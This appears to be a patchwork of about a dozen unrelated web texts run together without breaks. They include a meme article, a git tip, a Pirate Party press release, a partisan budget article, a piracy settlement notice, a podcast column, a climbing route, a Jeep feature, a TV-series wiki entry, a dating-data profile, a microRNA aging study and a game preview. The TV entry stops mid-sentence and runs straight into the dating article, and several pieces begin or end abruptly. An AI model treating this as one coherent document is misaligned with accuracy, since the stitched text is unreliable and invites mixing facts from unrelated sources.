Our sense that "that's racist" was evolving into a commonplace catchphrase that only occasionally had to do with racism and race was confirmed by conversations with parents, teachers and a website that tracked how it started as an online meme. A video clip from the cult TV show Wonder Showzen showed an African-American kid with the words "that's racist" underneath. It became a virtual retort on online message boards. People started dropping it into Internet arguments, to quench or inflame them.
From there, "that's racist" used as an ironic or absurdist diss spread into the mainstream. Comedian Hannibal Buress, also a writer for the show 30 Rock says he uses it because it makes people uncomfortable. That's critical to a certain kind of comedy, that takes pokes at the cultural underbelly.
Fourteen-year-old Gus Rachels and his friends use it to call out people overly sensitive to race issues. Regina N. Bradley, who teaches classes in African American literature at Florida State University, says she thinks kids are using "that's racist," to establish that they're not — but even the college students she teaches get confused about the difference between race and race issues. Saying "that's racist" is sometimes a way to get out of difficult discussions about race, she says — which is still a sensitive topic.
Enlarge this image toggle caption
Three musicians named their hip-hop band Das Racist in homage to that original meme. But one of them, Victor Vasquez, told me that the name has not really worked out that well. Some people assume they're a white power band. (They are most emphatically not — the musicians are all men of color.) Some promoters won't put it on posters and it's cost them a few gigs. He says perhaps they didn't quite think through the implications of naming a band "that's racist" in German. And they may have underestimated the power those words still have.This little command is a lifesaver and will save you so much time when switching and merging previous branches in your GIT workflow.
`git checkout -`
`git merge -`
See the little minus symbol at the end? That basically tells GIT you want to checkout the previous branch, or merge the previous branch. This will also work with rebasing and any other command which uses branches.
Say you were in master branch and wanted to switch to that new PR request your colleague has submitted, you would do something like this…
`git checkout new-feature`
You look at the code and test and all looks good, so you want to switch back to master and then merge in the new feature, this will be super easy and you won’t need to remember the branch names…
Switch back to master branch `git checkout -` then merge that new feature in `git merge -`. How much easier was that? You guys can thank me later when you have finished merging in all those PRs. 😉
Have any other commands you find helpful? Let us know in the comments below.
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RelatedFollowing the Icelandic elections on Saturday the Pirate Party are confirmed as having come 3rd in the popular vote and look to have won 9 seats in the Althingi (Icelandic Parliament), an astonishing gain of 6 on their previous result.
This is by far the best result for a Pirate Party to a National legislature since the foundation of the movement nearly 10 years ago and shows that there is a political void to be filled with a technologically savvy party willing to embrace the future rather than fear it.
Mark Chapman, Pirate Party Spokesperson, said:
"There has never been a better time to join the Pirate Party. Our Icelandic forerunners have proven a radical restoration of democracy can be achieved. Let us come together and follow their example.
"No other party so strongly and incisively believes that issues such as online privacy, the right to free expression and freedom of speech come before others, rather than being an afterthought. Without these human rights, all other campaigns such as the environment, fair pay, equality, health, education and so on cannot be fought for. They are the keystones to any true democracy.
"The Icelandic people have shown that change is possible, and that Pirates are at the forefront of a radical new politics. It is now time for UK Pirates to take the next step and bring Pirate Politics to elected positions across the UK.
"We encourage all those who want to help us by standing as candidates, contributing to press releases and contributing financially to get in touch and build the party in your area."
---
About Pirate Party UK
The Pirate Party in the UK is a fledgeling political party. It has fielded a few candidates in European and National elections, but like most small parties it is significantly constrained by the UK electoral system. Despite this, the Pirate Party now has one representative in local government and is looking to build support from the grass roots.
Find out more about the UK Pirate Party at https://pirateparty.org.uk/ or contact [email protected]PoliZette GOP Lawmakers Get Skittish Over Trump Budget Cuts Nervous Republicans quick to fold over media, Democrat claims of 'hard-hearted' cuts
President Donald Trump released his highly anticipated first budget on Thursday, prompting Democratic critics to accuse his administration of cutting what they consider vital programs and services.
It was the most conservative budget ever proposed by a president, said Chris Stirewalt, political editor of Fox News.
“I understand anyone’s cynicism because they haven’t seen this before. We’ve never seen anyone this conservative,” said Grover Norquist.
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Conservative groups such as the Tea Party Patriots praised the budget. Club for Growth, a grassroots conservative group, said the Trump administration’s budget blueprint could end federally funded TV and radio.
Grover Norquist, president of Americans for Tax Reform, said Trump’s budget answers an unknown question: Is Trump truly a fiscal conservative? Norquist told LifeZette that Trump now appears to be more Reagan than Reagan.
Thus, the reaction from Democrats and the media was predictably over the top.
“This president does not value the future of our children and working families,” said House Minority Leader Nancy Pelosi (D-Calif.).
“Let them eat fighter jets,” read the top headline of The Huffington Post. The left-wing publication said the budget targets the poor and seniors.
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At Thursday’s briefing, CNN’s Jim Acosta asked Mick Mulvaney, director of the Office of Management and Budget, if the budget was too “hard-hearted.”
But the budget provoked a surprisingly negative reaction from conservative Republicans.
[lz_ndn video=32134025]
“While we have a responsibility to reduce our federal deficit, I am disappointed that many of the reductions and eliminations proposed in the president’s skinny budget are draconian, careless, and counterproductive,” said Rep. Hal Rogers (R-Ky.), a former chairman of the Appropriations Committee.
Rogers went on to bash the proposed cuts to the Appalachian Regional Commission and to foreign aid.
“As Gen. Mattis said prophetically, slashing the diplomatic efforts will cause them to have to buy more ammunition,” said Rogers.
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Rogers said cuts to the State Department “would not stand.”
Senate Majority Leader Mitch McConnell offered tepid support for the president’s agenda.
“I’m pleased to see an increased focus on our national security and veterans’ budgets,” McConnell said in a statement. “These are positive steps in the right direction. I look forward to reviewing this and the full budget when it is released later this spring.”
Mulvaney said many programs within the State Department’s budget are redundant or wasteful, justifying the need for such a high-dollar cut.
“It just so happens that much of the foreign aid that the president talked about in [the] campaign, much of the money that goes to climate research, green energy, those types of things — are actually in the State Department budget,” said Mulvaney. “If those line items had been in the Department of Commerce, you would see Department of Commerce having gone down by a similarly large percentage.”
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It has some moderate Republican lawmakers scared. They are even defending the National Endowment for the Arts from Trump’s budget cuts. The NEA, which has once funded pornographic art, has long been a GOP target for complete elimination.
“Cutting the Coast Guard, programs through the Department of Justice and revenue-builders like the NEA are penny wise but pound foolish,” said Rep. Leonard Lance (R-N.J.).
Calling the budget “mean, not lean” is an old tactic used by the media and Democrats to frighten skittish Republicans into opposing cuts, Norquist said.
Bashing budgets cuts was a tactic used against President Reagan to scare congressional Republicans away from his tax cuts and his first budget. The GOP never controlled the House under Reagan.
That tactic was even more harshly used against former House Speaker Newt Gingrich (R-Ga.), when the Republicans took control of both chambers of Congress in 1994 after a 40-year drought. Republicans slowed spending down and passed major reforms, but could not get everything they wanted from President Bill Clinton.
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Current House Speaker Paul Ryan (R-Wis.) was accused of wanting to push Granny off a cliff by liberal groups who opposed his entitlement reform.
But Roger and Lance’s criticisms show a fear of having to deliver taxpayers the long-awaited balanced budget — and with it, serious reduction in the national debt, which now stands at $19.9 trillion.
It’s a familiar retreat. When controlling all three branches of government, Republicans have failed to deliver on their promises before.
Much of the national debt was accrued under President George W. Bush, who governed with a Republican Congress in 2001 and from 2003 to 2007. Despite GOP power those years, spending did not substantially slow. Bush left office with about double the bills — $10.6 trillion in debt.
“I understand anyone’s cynicism because they haven’t seen this before,” said Norquist. “Partly because conservatives are habituated to ‘don’t get too excited’ … We’ve never seen anyone this conservative.”The Business Software Alliance (BSA) today announced that AutoTrader.com paid $400,000 in order to settle claims that it had unlicensed copies of Adobe, Autodesk, Corel and Quest software installed on its computers.
As part of the settlement agreement, AutoTrader agreed to delete all unlicensed copies of software from its computers, acquire any licenses necessary to become compliant and commit to implementing stronger software asset management (SAM) practices.
"AutoTrader.com has grown from 10 employees at our founding 12 years ago to more than 2,000 today," said Bob Hadley of AutoTrader.com. "We believe our employees have the utmost integrity when it comes to these matters and this audit brought to light the importance of having procedures in place to make sure all software purchases and licenses can be accounted for in accordance with Business Software Alliance policies," Hadley added.
"It is important businesses understand the risks associated with using unauthorized software on any computer," said Jodie Kelley, BSA's vice president of anti-piracy and general counsel. "Not only do organizations face possible legal trouble for employing pirated software, there are also tremendous security and economic consequences involved."
The BSA was alerted to the unlicensed software use at AutoTrader by a confidential report made on its website www.nopiracy.org.But what does mobile, any-time access do to the actual content? The conventional wisdom is that the digital revolution has dumbed down the news agenda. People - especially younger people, digital natives - have neither the time nor the appetite for detailed reporting or long-winded analysis. Shorter, quicker, lighter is the go: speed beats depth, celebrity gossip beats cerebral cogitation. The future of media is with YouTube and Buzzfeed, TMZ and the Mail Online. Well, certainly those platforms and websites are among the notable successes of the digital age. But they are not the only ones. Witness, for example, the podcast Serial. Published as a spin-off by the team that makes the popular radio program This American Life, Serial is a weekly podcast that is exploring, in extraordinary depth and detail, a 15-year-old murder case in Baltimore, Maryland. So far there have been nine weekly episodes, each between 45 and 60 minutes. I started listening to Serial early on, out of professional curiosity, and because I'm a fan of This American Life. My initial reaction: this will never fly. Too much detail, too many names, too much speculation, too much reportorial agonising, too much everything, and all about a murder that took place a long time ago and far, far away - at least, from Sydney, Australia.
It turns out that a lot of people disagree with me. A huge number, all over the world. In the space of a few weeks Serial has leapt to the top of iTunes' podcast list, not just in the United States, but in Canada, Australia, Britain and even Germany. I'm not the only one to have been surprised by Serial's runaway success; it has astonished the show's own producers. But it might not come as quite such a surprise to the veteran radio producers at ABC Radio National, who pioneered podcasting in Australia back in the '90s. Cerebral radio programs like The Science Show and The Health Report were being downloaded in large numbers long before podcasting apps made it easy: it turned out there was a hunger for the food for thought they provided that couldn't necessarily be satisfied at the times they were being broadcast. And then there's the current dominance of complex, long-form television drama series. (One of the early successes was The Wire, which also dug into the world of crime and punishment in Baltimore, Maryland.) The form is now a global phenomenon: West Wing, The Sopranos, Breaking Bad, House of Cards, Game of Thrones, Homeland, The Killing, The Bridge – on and on they go. Many of these dramas depend on complex plotting of multiple storylines across many episodes. They are much better viewed in binge-viewing sessions than as weekly one-hours. And it's the world of digital down-loading and online streaming that's made that possible.
It turns out that the digital revolution does not just favour the quick, the cheap and the easy. It has made the video equivalent of the 19th century three-volume serialised novel viable, and the audio equivalent of 20th century American magazine journalism. But it seems to me that whereas every media company in the world is turning its hand to providing instant, 24-hour news, there are not many who would – or could – invest in an experiment like Serial. Veteran radio reporter Sarah Koenig has spent months on the project. She could do so because she was being paid by This American Life, which in turn is paid for by the US taxpayer, through the Public Broadcasting Service, and by voluntary donations from PBS's listeners. In Australia, it's the sort of thing you'd hope the ABC would try. But all the signs are that on ABC radio, long-form, specialist journalism is being down-sized in favour of the radio equivalent of fast food. And not just at Radio National. SBS TV seems to think that its long-running Dateline program will get more viewers if it swaps doom and destruction for good cheer and chirpiness – mixed in with a goodly quota of repeats. I doubt it will prove to be right. And I think Mark Scott and his managers should beware, as they downsize the ABC. Yes, they must pursue listeners and viewers onto the new digital and mobile platforms, and so yes, they may need to hire more people with the skills to help them do that.
But new platforms don't necessarily require new values. Accuracy, persistence, scepticism, the ability to structure a story and to tell it compellingly – theseare skills that I don't believe will ever go out of fashion. And, like every complex skill, they take years to learn. Most of us in the media business learned from the example of our elders. The ABC should be careful as it targets the pre-digital old codgers for the scrapheap, that it doesn't chuck out all the teachers. Jonathan Holmes is a Fairfax columnist and a former presenter of the ABC's Media Watch program.Approach
From Conrad Kain Hut, ascend the moraine to the right side of the Crescent Glacier, then walk the glacier (It's almost flat.) to its head under the Bugaboo-Crescent saddle. This part of the glacier is so flat, it's almost devoid of crevasses. Almost. I haven't seen climbers rope up for glacier travel on this approach, but accidents have happened.
Climb class 3 to the saddle, turn left and walk and climb easy rock to the large, rubbly ledge that crosses the ridge. Enjoy the views of the Vowell Group to the north while you dig the rock gear out of your pack.
Route Description
Begin on steep, clean flakes just left of the crest, and climb to the top of the flake/pedestal to belay. Descend left to flakes that take you up and out onto the E. face for the second pitch. From the top of the flake system, catch a fat, white quartz sill that takes you up and right around the ridge crest, then climb up to belay at a roomy ledge. The fourth pitch starts up a clean finger crack that 50 Classic Climbs calls the crux. (I thought the quartz sill just passed was trickier.) Pitches 5 & 6 are actually in a blocky gully right in the crest. Straightforward and enjoyable. As the ridge levels off it's still sharp, so there's no routefinding involved until near the summit. The distracting views are the main difficult. Green and Benson say you've climbed 10 pitches when you reach the boulder that blocks the ridge. Find the anchor at your feet and rappel the left (E) side about 20 feet (6m) to a rubbly ledge. Carefully follow the ledge to just below the summit and tunnel up between blocks.Descnd by downclimbing to the slabs that take you to the South summit, then descend the Kain route.
Essential Gear
Miscellaneous Info
Carry a full rack for sustained free technical climbing on clean, solid rock. Include longer slings to reduce rope drag. In June you can probably get to the start of the route without an ice axe, but you'll need it descending from the Bugaboo - Snowpatch col. Later in Summer you'll need crampons. You've probably figured out by now that you're not caching any gear the the start of the route. If you climb well in lightweight trail boots you may be able to wear them the whole way and not have to carry boots in your pack. The Kain route has some solid rock, but much of it will be hiking down steep rubbly slopes. Wear a helmet. Bring clothes for storms. I've been hit by snow below 9,500' (2,900m) in high summer.When descending the Crescent Glacier after your climb, stay away from Snowpatch unless you're roped and prepared for crevasse rescue.U.S. regulations often keep "the good stuff" off the domestic market. Always looking out for our best interests apparently, the government creates an active gray market for Cuban cigars, certain pharmaceuticals (some of which are available over the counter in adjacent countries) -- and unique vehicles.
The Jeep T1 is an example. It's basically an extended-wheelbase TJ pickup powered by the VM 2.8L common-rail diesel (CRD). The vehicle was built in Toledo for foreign military use, primarily in Egypt. So, NHTSA standards such as airbags didn't apply. Also, the T1's CRD didn't have to pass U.S. emissions. Lack of an EGR makes it more powerful than the "cleaner" 120HP/240LB-FT version found in our domestic Liberty.
Internet research reveals only a handful of T1s in the U.S. Some have ties to Mopar Underground, the concept vehicle division at Chrysler. In fact, an offshoot of this group assembled a one-off T1 for Moab in 2008. They basically swapped the overseas-spec 2.8L CRD into a U.S.-spec LJ to see if a business case could be made for a Mopar diesel crate-engine program. (Bruiser Conversion took the idea to market, although with a four-cylinder Cummins 4BT diesel instead of the VM 2.8L.)
You Can't Have One
The T1 shown here is owned by Kevin Dill. He's not the average enthusiast. Dill is the Advance Adapters' engineer responsible for the Atlas transfer case. He subsequently worked as the lead engineer at Superlift Suspension and is currently a consulting engineer for Dynatrac.
Dill became aware of the T1 while doing a Hemi swap in his LJ. He noticed that this military Jeep had the same wheelbase as the 4-door JK (the military version of which is called the J8 or Storm in the Middle East). Fresh off an engine swap in his Jeep, Dill liked the idea of a factory-installed diesel. He began researching the T1. After about a year-long quest, Dill got in touch with a friend of a friend of his dad's, who worked in Saudi Arabia for one of the U.S.-based petroleum companies and had business contacts with Middle Eastern importers. Money changed hands to someone affiliated with the company that ships these military Jeeps to the Middle East. This is supposedly the last T1 of a handful that didn't make it out of the country.
Shortly after acquiring the T1, Dill disassembled it. His goal: customizing the vehicle to work well off-road and play up its military bloodlines. Dill's overall concept was the Tactical Jeep (prior to the vehicle-mounted.50-caliber fad).
Dill kept the OE 2.8L CRD and NV3550 five-speed. The rest of the drivetrain was upgraded with products Dill helped create: a 4.33:1 Atlas transfer case, a Dynatrac/Mopar-spec Dana 60 rearend, and a Dynatrac/Mopar J8 Dana 44 front end with a Mopar Big Brake kit and Superior shafts. Alloy USA 5.13 gears are in the diffs, as are a JK Rubicon electronic locker in the front and a Detroit Locker in the rear.
Dill also used products he designed for the suspension. He modified a Superlift TJ Long-Arm 4-inch lift kit for the T1's 22-inch-longer wheelbase. He added the Black Diamond Rear Coil Correction kit, which relocates the top mount so that the spring sits vertically instead of canted. This makes the rate more consistent as the coils compress. It also helps control weight transfer, particularly during hillclimbs.
Bilstein Rock Crawler coilovers control the front. Remote-reservoir Bilstein 7100s damp the rear. A GenRight front swaybar kit helps control on-road cornering. Dill also used a GenRight aluminum gas tank.
To fit 40s with only four inches of lift, Dill used the AEV Highline fenders and Heat-Reduction vented hood. An AEV Brute cab retains the T1 Jeep pickup look while providing weather protection. Dill trimmed and installed a Daystar 1-inch body lift kit to give a little extra tunnel and fender clearance.
DuPont olive drab paint was shot by Jamie Morganthal at Jamie's Body Shop (Downsville, Louisiana). Stencils for the military-inspired graphics were designed and cut out by Jason Bradley in Superlift's marketing department.
Dill finished off the Jeep with accessories that keep the Jeep clean and somewhat militaristic while improving off-road capability. See the accompanying images for more details.Human Target is an American action drama television series that was broadcast by Fox in the United States. Based loosely on the Human Target comic book character created by Len Wein and Carmine Infantino for DC Comics, it is the second series based on this title developed for television, the first TV series having been aired in 1992 on ABC. Developed by Jonathan E. Steinberg, Human Target premiered on CTV in Canada and on Fox in the United States in January 2010.[1][2] The series was officially canceled on May 10, 2011, after the conclusion of the second season.[3]
Synopsis [ edit ]
Season Episodes Originally aired First aired Last aired 1 12 January 15, 2010 ( ) April 11, 2010 ( 2010-04-11 ) 2 13 November 17, 2010 ( ) February 9, 2011 ( 2011-02-09 )
The series follows the life of San Francisco-based Christopher Chance (Mark Valley), a unique private contractor, bodyguard and security expert hired to protect his clients. Rather than taking on the target's identity himself (as in the comic book version), he protects his clients by completely integrating himself into their lives, to become a "human target". Chance is accompanied by business partner Winston (Chi McBride) and hired gun Guerrero (Jackie Earle Haley). Former client Ilsa Pucci (Indira Varma) becomes Chance's benefactor, while experienced thief Ames (Janet Montgomery) joins the team to seek redemption. Chance puts himself on the line to find the truth behind the mission.[4] Even his own business partner Winston does not know what drove him towards this life,[5] although it is explained in the first-season finale episode (which also explains about the name Christopher Chance itself).[6]
Cast and characters [ edit ]
From left to right: Guerrero, Ames, Chance, Pucci and Winston.
Main [ edit ]
Mark Valley as Christopher Chance – an ex-assassin formerly employed by "The Old Man", who became a security specialist/private contractor/mercenary-for-hire helping those in need. He took the name from the previous Christopher Chance (Lee Majors). His real name is unknown. Abandoned as a child, Chance has a dark and mysterious past, beginning with his recruitment by "The Old Man" and training into one of the world's greatest assassins. Despite being given the Old Man's true name as his own (he is referred to as "Junior") and being selected to succeed him as leader of the organization, Chance instead broke ranks, fled, and taking up the name and mantle of Christopher Chance, started his life again. [6] Officially, he is listed as "John Doe", with the name "Christopher Chance" amongst his many aliases.
Officially, he is listed as "John Doe", with the name "Christopher Chance" amongst his many aliases. Chi McBride as Detective Laverne Winston – a former police inspector with the San Francisco Police Department who is now Chance's business partner. Winston left the force after the Katherine Walters mission "to do what was right. But no B.S.; no egos in the way." [7] At the end of season one, he was in the custody of one of the Old Man's clients for secretly hiding a mysterious book they were after, with Chance and the Old Man working together again to get him back.
At the end of season one, he was in the custody of one of the Old Man's clients for secretly hiding a mysterious book they were after, with Chance and the Old Man working together again to get him back. Jackie Earle Haley as Guerrero – an ex-assassin formerly employed by the Old Man, who also went rogue alongside Chance after he was ordered to kill Katherine Walters when Chance refused to do it. [6] Guerrero works as part of the team, and despite his complicated nature, cares greatly about Winston and Chance, considering the former a friend and secretly protecting the latter from the Old Man's agents. Outwardly, Guerrero appears weak and nerdy when in reality he is actually a highly intelligent, vicious, and deadly killer. Despite this, he is deeply loyal to his friends and a family man with a child of his own. [8] He helps Chance and Winston in their missions by using his underworld contacts, as an accomplished computer hacker, and is also an expert in torturing people for information.
Guerrero works as part of the team, and despite his complicated nature, cares greatly about Winston and Chance, considering the former a friend and secretly protecting the latter from the Old Man's agents. Outwardly, Guerrero appears weak and nerdy when in reality he is actually a highly intelligent, vicious, and deadly killer. Despite this, he is deeply loyal to his friends and a family man with a child of his own. He helps Chance and Winston in their missions by using his underworld contacts, as an accomplished computer hacker, and is also an expert in torturing people for information. Indira Varma as Ilsa Pucci (season 2) – a sophisticated and recently widowed billionaire who becomes a benefactor to Chance to aid their protection agency. [9]
Janet Montgomery as Ames (season 2) – a thief whose chameleon-like abilities allow her to blend into any situation. Winston, familiar with Ames from his days on the police force, offers her a job in an effort to help her get her life on the right track.[9]
Recurring [ edit ]
Emmanuelle Vaugier as FBI Special Agent Emma Barnes – after her career was tarnished by Chance's activities in "Embassy Row", Chance is able to get her help to stop Baptiste's assassination mission in "Baptiste". With Baptiste's arrest, Barnes' reputation is implied to have been restored. Barnes and Chance have complicated romantic feelings for each other.
Autumn Reeser as Layla – a computer technician who was initially working for a corrupt defense contractor company Sentronics in "Lockdown", but after it was ruined by Chance, Layla was recruited to freelance for the team in "Baptiste".
Leonor Varela as Maria Gallego – Chance's former girlfriend who asks for his help in "Salvage & Reclamation". They are reunited once again in "A Problem Like Maria" when she asks for his assistance again to rescue a friend of hers. She is also revealed to be married, a secret she keeps from him until they share their goodbyes.
Lennie James as Baptiste – an assassin employed by The Old Man who previously worked with Chance, being his partner, student and friend. Baptiste is one of the world's greatest assassins; amoral, ruthless, incredibly efficient and deadly, but he owes all his skills to being trained by Chance. Baptiste did not take it well when Chance ran away, and even now struggles to understand. Baptiste is responsible for countless deaths, including the flawless hits of heads of state. Most notably, Baptiste killed Katherine Walters and the previous Christopher Chance as seen in "Christopher Chance". Baptiste's plan to destroy Operation Olive Branch, a secret UN peace summit, was foiled by Chance and Agent Barnes, and so Baptiste was taken into custody by the FBI in "Baptiste". "The Return of Baptiste" shows that he was transferred to a Russian gulag. He betrayed Chance after being recruited to assist the team in retrieving hostages taken by Don Miguel Cervantes. Baptiste asks to become Cervantes' head contract killer, before betraying Cervantes to save Chance. On returning from the mission Baptiste vows never to return to the Russian gulag as promised, but he is outsmarted by Chance yet again. He is also shown to collect his victims' watches.
Armand Assante as The Old Man – the leader of an organization of professional mercenaries and assassins, his two favorite subordinates were Chance and Baptiste but, while he respects them both equally, he considered Chance his favorite and, becoming a surrogate father-figure to him, groomed him to be his successor, to the point he gave him his own name as Chance's - and when Chance ran and disappeared, taking the name "Christopher Chance", it was said to have "broken his heart". He seeks to re-recruit Chance back into his organization. His reputation for ruthlessness is |
appealing without changing ourselves at all. The goal of online dating, Webb says, is to get offline as soon as possible, where the important connections — IRL, or “in real life” — are made.
Webb’s journey was triggered by a series of dating disasters. “Data, A Love Story” chronicles a relationship that started with a rom-com like “meet cute” moment — he helped her catch her plane, and when they disembarked, their parents had made friends — and ended with cheating and heartbreak. Post-breakup, in 2005, Webb put herself out there only to experience a string of unfortunate JDates, including a fateful coffee date with a married man. That was the night that she sat down with a bottle of wine and her mathematical proclivity, and began to work on the formulae that would lead her to love.
For Webb, taking this step was second nature. First of all, solving problems with math has soothed her since she was a child. “I’m not like ‘rain man,’” she said jokingly, but she gets anxious, and for her, math is a “form of meditation.” In fact, during the C-section birth of the couple’s daughter, the anesthesiologist was amused to find Brian tossing math problems to his about-to-deliver wife to keep her centered. “What’s calming is focusing on numbers,” she told me. “I think in charts and graphs.”
Another aspect of Webb’s personality that led to her exploration is that she wasn’t interested in playing passive, hewing to the gendered roles that society foists on would-be daters. “I had been following the rules, but it was antithetical to the way I felt,” she said. “I didn’t feel like it was 1950, I didn’t feel I should wait for a guy to approach.” She decided to make the system work for her.
Webb successfully “gamed” JDate in two ways. The one that seems the most complex, and has garnered the most interest, is actually the second part of her plan. It involved logging on to the website as a “man” — screen name “Jewishdoc1000”— enabling her to scope out the competition to reverse-engineer her own profile’s desirability. She ended up crafting multiple male profiles and spending weeks importing more and more data based on the women who responded to these profiles, keeping her contact with those women to a minimum. Webb says that to her, this was the online equivalent of looking around the bar to see what other people were wearing or saying (and then, of course, the less expected part: putting that information on a spreadsheet).
Webb studied what words and images “the popular girls” on the site, some of whom she suspected of being non-Jewish, had on their pages. (Webb’s send-off to the “imposters” who sounded her Jewdar alarm when they referred to cozily spending the High Holy Days with their “bashert,” or soulmate: “The high holidays aren’t like some winter break where you and your ‘beshert’ rent a cabin in Breckenridge and drink hot toddies by the f——-g fire!”) Webb observed that women who used upbeat terms, didn’t dwell on their jobs, and had straight hair and flashed skin in candid pictures fared much better than others did. Her own profile, which her husband told me he would have passed over in “two seconds,” basically read like a wordy and intimidating résumé.
So after a month of accruing data, Webb launched her super-profile: new pictures with good lighting and makeup that show-cased her laughing and looking flirty, and predetermined keywords like “outgoing” and “world traveler,” phrases that denoted confidence and few details about her career.
“The super-profile was optimized, not compromised,” she told me. “I kept my hair curly, I wore glasses, I didn’t dumb anything down… but I also didn’t lead with MIT.”
She was inundated with messages right away.
To be sure, Webb, a self-described feminist, wasn’t thrilled with what her digital sleuthing revealed about the hetero male Jewish psyche. “Would I love it if more men were vocal about liking women who are strong and outspoken? Yes,” she said, relating her JDate struggles to her efforts to make the tech world more gender inclusive. “On the other hand, I’m so much luckier than my mother,” she added, noting that she was able to turn the tables and go after the perfect guy. “My daughter will be even luckier.”
She says from her JDate odyssey she learned to be unstinting in her demands. After years of dating, Webb realized she already knew what she wanted in a mate. That’s why before she even reverse-engineered her own profile, Webb created her Mary Poppins Husband List, a dossier of sought-after qualities, weighted based on two tiers of negotiability. Non-negotiable items? “Good in bed” and “good with money” for starters; someone who must “genuinely like and appreciate my giant, loud Jewish family” and has “no history of cheating.” More negotiable are “of medium build” and “appreciates the beauty of a well-crafted spreadsheet.” Webb converted this list into a point system and declared that she would not even go on a single date with anyone worth less than 700 points. Even when she first began to fall head over heels for Brian, who qualified, she continued to tally his attributes against the list. Sometimes they both still look at it.
As for the list’s title, recall the two tykes in “Mary Poppins” creating their description of the perfect nanny, a description that travels through the ether and morphs into Poppins’s curriculum vitae. That approximates how Brian felt when, a few dates into his relationship with Webb, he found out about his new flame’s methods. “When I saw the list… I thought, ‘Did she conjure me?’” he said.
Clearly, she didn’t have to worry about his appreciation for spreadsheets. In fact, Brian, an eye doctor, thought her JDate gaming “was an excellent solution to the problem.” They clicked, sometimes too well: Early on as parents, they were both scolded by their pediatrician for logging too much of their infant daughter’s activity into a binder.
But their IRL compatibility beyond the Mary Poppins lists was even better. Brian learned about Webb’s mom’s cancer (a sad reality of her life, which she had decided to omit from her super-profile) the same time that he learned about the list. He was able to sit with mother and daughter in the hospice, giving the family support and assurance that Webb’s daughter would be loved. And the couple meshed during the holidays. For both Amy and Brian their interpretation of their Jewishness — deeply cultural, but without the God aspect — is key to their ability to join together two families and create their own from the mix.
“The biggest mistakes Jewish people make [when dating] is, they don’t stop to think about what their Judaism means,” Webb said. “You can be Jewish but in different ways.” Or as Brian puts it, “I had taken another girl to Passover — it didn’t go well.”
Their story has a happy ending: two culturally Jewish data enthusiasts in love. But Webb thinks that her book, besides being an entertaining story of romancing in the digital age, has usefulness for everyone, even right-side-of-the-brain types, who have no interest at all in gaming, reverse engineering or putting algorithms together. It boils down to articulating desires. “Make a list of what you want. Even if you don’t score it, stare at it. It’s a really revolutionary thing,” she said.
Sarah Marian Seltzer is a writer in New York and a contributor to the Forward’s The Sisterhood blog. Find her at www.sarahmseltzer.com.
This story "Hacking JDate to Find the Perfect Jewish Hubby" was written by Sarah Seltzer.As a complement to the DNA methylation based biomarkers of aging, researchers are also finding that patterns of microRNA levels can serve a similar purpose. These tools offer the potential for a rapid assessment of candidate rejuvenation therapies rather than having to run lengthy life span studies, something that is prohibitively expensive for most research groups even in mice, and entirely out of the question in humans. It is hoped that a generally agreed upon biomarker of aging, a low-cost test that fairly accurately reflects biological age, defined as the burden of cell and tissue damage that causes dysfunction and death, will speed up progress towards the development of rejuvenation treatments. The advent of senescent cell clearance as a viable rejuvenation therapy should greatly help the development and validation of such biomarkers: the two lines of development will support one another.
Human aging is a complex process that has been linked to dysregulation of numerous cellular and molecular processes. Recent studies have revealed that human aging can be characterized by changing patterns of DNA methylation and expression of protein-coding genes. A growing body of research suggests that aging is associated with changes in DNA methylation both genome-wide and at specific C-G dinucleotide (CpG) loci. At the messenger RNA (mRNA) level, a recent meta-analysis of whole-blood gene expression in ~15,000 individuals identified 1497 mRNAs that are differentially expressed in relation to age. An age predictor based on mRNA expression (i.e., mRNA age) highlighted genes involved in mitochondrial, metabolic, and immune function-related pathways as key components of aging processes. The difference between mRNA age and chronological age correlated with many metabolic risk factors including blood pressure, total cholesterol levels, fasting glucose, and body mass index (BMI).
MicroRNAs (miRNAs) are a class of small noncoding RNAs that downregulate protein-coding genes by either cleaving target mRNAs or suppressing translation of mRNAs into proteins. Research in a Caenorhabditis elegans model system revealed changes in miRNA expression in relation to lifespan and longevity. In humans, highly specific miRNA expression patterns are correlated with many age-related diseases including cardiovascular disease and cancer. Recent studies have examined differentially expressed miRNAs in relation to age in whole blood, peripheral blood mononuclear cells (PBMC), and serum. These studies, however, were based on small sample sizes, limiting the power to investigate age-related changes in miRNA expression. We hypothesized, a priori, that it would be possible to create a miRNA signature of age that is predictive of chronological age and that age prediction based on miRNA expression is biologically meaningful and can be used as a biomarker of risk for age-related outcomes including all-cause mortality.
In a previous study, we measured miRNA expression in whole blood from more than 5,000 Framingham Heart Study (FHS) participants. We investigated the heritability of miRNA expression and performed a genome-wide association study (GWAS) of miRNA expression. Our results showed that miRNAs are under strong genetic control. In the present study, we further investigated whole-blood miRNA expression in relation to chronological age in FHS participants. We identified 127 miRNAs that were differentially expressed in relation to chronological age, and performed internal validation by splitting the samples 1:1 into two independent sample sets. An integrative miRNA-mRNA coexpression analysis and miRNA target prediction revealed many age-related pathways underlying age-associated molecular changes. We also defined and evaluated an age predictor based on miRNA expression levels (i.e., miRNA age). Our results indicate that the difference between miRNA age and chronological age is associated with multiple age-related clinical traits including all-cause mortality, coronary heart disease (CHD), hypertension, blood pressure, and glucose levels.Share. Painting the town neon. Painting the town neon.
I’m a huge fan of the Infamous franchise, but I have to be honest: Infamous 2, which launched on PlayStation 3, remains my favorite game in the series. It’s not to say I didn’t like Infamous: Second Son, which came exclusively to PlayStation 4 earlier this year. In fact, I thought it was a great game. It’s just that Delsin as a character didn’t do it for me. I liked (and still like) Cole more.
But there were two standout cast members in Second Son, and both of them are returning in Sucker Punch’s upcoming DLC for their game, a stand-alone download called First Light. Those two characters are the neon-wielding Fetch and the devious Augustine, and thankfully, both will be back in full force when Second Son launches later this month. Better yet, even without Delsin, First Light promises to retain Second Son’s wonderful core gameplay, which is at the heart of the experience.
Exit Theatre Mode
First Light provides much-needed backstory on the mysterious Fetch, a powers-wielding Conduit Delsin runs into early in his journey. Unlike Delsin, who is endowed (at first) with fiery smoke powers, or Cole, who is best known for his ability to harness electricity, Fetch’s neon-derived skills are off the beaten path and rather abstract. That, along with her no-nonsense attitude and a wonderful vocal performance by Laura Bailey, made – and continue to make – the character so intriguing. First Light is her story, a prequel that erases some question marks that may have cropped up for you during Second Son’s campaign.
“ The good news is that there seems to be a whole lot more to do in First Light than there was in Festival of Blood...
